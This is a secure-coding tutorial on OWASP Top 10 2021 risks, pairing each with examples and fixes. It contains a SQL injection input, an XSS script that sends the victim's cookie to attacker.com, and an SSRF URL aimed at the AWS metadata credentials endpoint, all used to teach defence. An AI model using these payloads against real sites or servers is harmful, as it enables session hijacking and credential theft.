Secure Coding 101: OWASP Top 10 Vulnerabilities
SQL injection, XSS, and broken auth recur in breaches year after year. Learn how these vulnerabilities exist in code and the specific fixes that stop them.
Table of Contents
- Why the Same Vulnerabilities Keep Appearing
- A01: Broken Access Control
- A02: Cryptographic Failures
- A03: Injection
- A04: Insecure Design
- A07: Identification and Authentication Failures
- A05: Security Misconfiguration
- A03 Sibling: Cross-Site Scripting (XSS)
- A10: Server-Side Request Forgery (SSRF)
- Building a Secure Development Lifecycle
Why the Same Vulnerabilities Keep Appearing
The OWASP Top 10 is a list maintained by the Open Web Application Security Project of the most critical web application security risks. It has been published since 2003. Many of the same vulnerabilities appear decade after decade — not because developers do not know about them, but because they are easy to introduce under time pressure and require deliberate effort to prevent.
This guide covers the most practically important entries from the OWASP Top 10 2021 edition.
A01: Broken Access Control
Access control enforces that users can only do what they are allowed to do. Broken access control is the most common vulnerability in real applications.
Examples:
- A user changes
?user_id=123to?user_id=124in the URL and sees someone else's order - An API endpoint that returns all records does not check whether the requester owns them
- A regular user accesses
/admin/delete-userbecause the route is not protected
Prevention:
- Enforce access control on the server, never the client
- Default to deny: if there is no explicit permission, reject the request
- Use role-based access control (RBAC) or attribute-based access control (ABAC)
- Log access control failures and alert on repeated failures
A02: Cryptographic Failures
Formerly called "Sensitive Data Exposure," this category covers weak or missing encryption for sensitive data.
Examples:
- Passwords stored as plain text or using MD5/SHA-1 (not designed for password storage)
- Sensitive data transmitted over HTTP instead of HTTPS
- Encryption keys hardcoded in source code or committed to a repository
Prevention:
- Use bcrypt, scrypt, or Argon2 for password hashing — never MD5, SHA-1, or SHA-256 alone
- Enforce HTTPS everywhere; use HSTS
- Rotate and store secrets in a secrets manager (AWS Secrets Manager, HashiCorp Vault, not
.envfiles in repos) - Never log sensitive data (passwords, tokens, credit card numbers)
A03: Injection
Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection is the most famous example, but the family includes OS command injection, LDAP injection, and others.
SQL injection example:
-- User input: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
-- Returns all users
Prevention:
- Use parameterized queries (prepared statements) — never concatenate user input into SQL
- Use an ORM that handles parameterization automatically
- Validate and sanitize all input
- Apply least privilege to database accounts — the web app should not connect as
root
A04: Insecure Design
This category addresses fundamental design flaws, not implementation bugs. A system can be perfectly coded and still be insecure by design.
Examples:
- A password reset flow that reveals whether an email is registered (enabling account enumeration)
- An API that returns an entire user object when only the user's name is needed
- A system with no rate limiting on authentication attempts
Prevention:
- Perform threat modeling during design, not after
- Apply the principle of least privilege at the architecture level
- Include security requirements alongside functional requirements
A07: Identification and Authentication Failures
Weak authentication and session management allow attackers to impersonate users.
Examples:
- Allowing weak passwords ("password123" accepted)
- Not invalidating session tokens after logout
- Storing session IDs in URLs, which appear in server logs
- No account lockout or rate limiting on login attempts
Prevention:
- Enforce MFA for all user accounts, especially administrators
- Use proven authentication libraries rather than building your own
- Generate long, random session tokens; invalidate them on logout and after a timeout
- Implement rate limiting and CAPTCHA on login and registration endpoints
A05: Security Misconfiguration
Security misconfiguration is the most common finding in security assessments. It results from incomplete configurations, open cloud storage buckets, unnecessary features enabled, default credentials, and overly informative error messages.
Prevention:
- Harden configurations against a baseline (CIS Benchmarks)
- Remove default accounts and change default passwords
- Disable directory listing, unnecessary HTTP methods, debug endpoints in production
- Use infrastructure-as-code to make configuration consistent and auditable
A03 Sibling: Cross-Site Scripting (XSS)
XSS occurs when an attacker injects malicious scripts into web pages viewed by other users.
Example:
A comment field stores <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Every user who views the page runs the script, sending their session cookie to the attacker.
Types:
- Stored XSS — malicious script saved in the database
- Reflected XSS — script included in a URL and reflected in the response
- DOM-based XSS — script executes via client-side JavaScript
Prevention:
- Encode all output — HTML-encode user data before inserting it into HTML context
- Use a Content Security Policy (CSP) header to restrict which scripts can execute
- Use modern frameworks (React, Vue, Angular) that handle output encoding by default
- Never use
innerHTMLwith untrusted data; prefertextContent
A10: Server-Side Request Forgery (SSRF)
SSRF vulnerabilities allow attackers to make the server send requests to unintended destinations — including internal services not accessible from the internet.
Example:
A URL preview feature that fetches http://169.254.169.254/latest/meta-data/ on AWS returns cloud instance credentials.
Prevention:
- Validate and allowlist URLs that the server will fetch
- Block requests to private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)
- Disable HTTP redirects in fetch operations
Building a Secure Development Lifecycle
Fixing vulnerabilities after deployment is 10–100x more expensive than preventing them during development. Integrate security into the development process:
- Threat model new features before writing code
- Use linters and SAST tools (Semgrep, CodeQL, Bandit) to catch issues automatically
- Conduct code reviews with security in mind
- Run DAST tools (OWASP ZAP) against staging environments
- Track dependencies and update them — many breaches exploit known vulnerabilities in libraries
Security is not a feature you add at the end. It is a quality attribute built into every decision from design to deployment.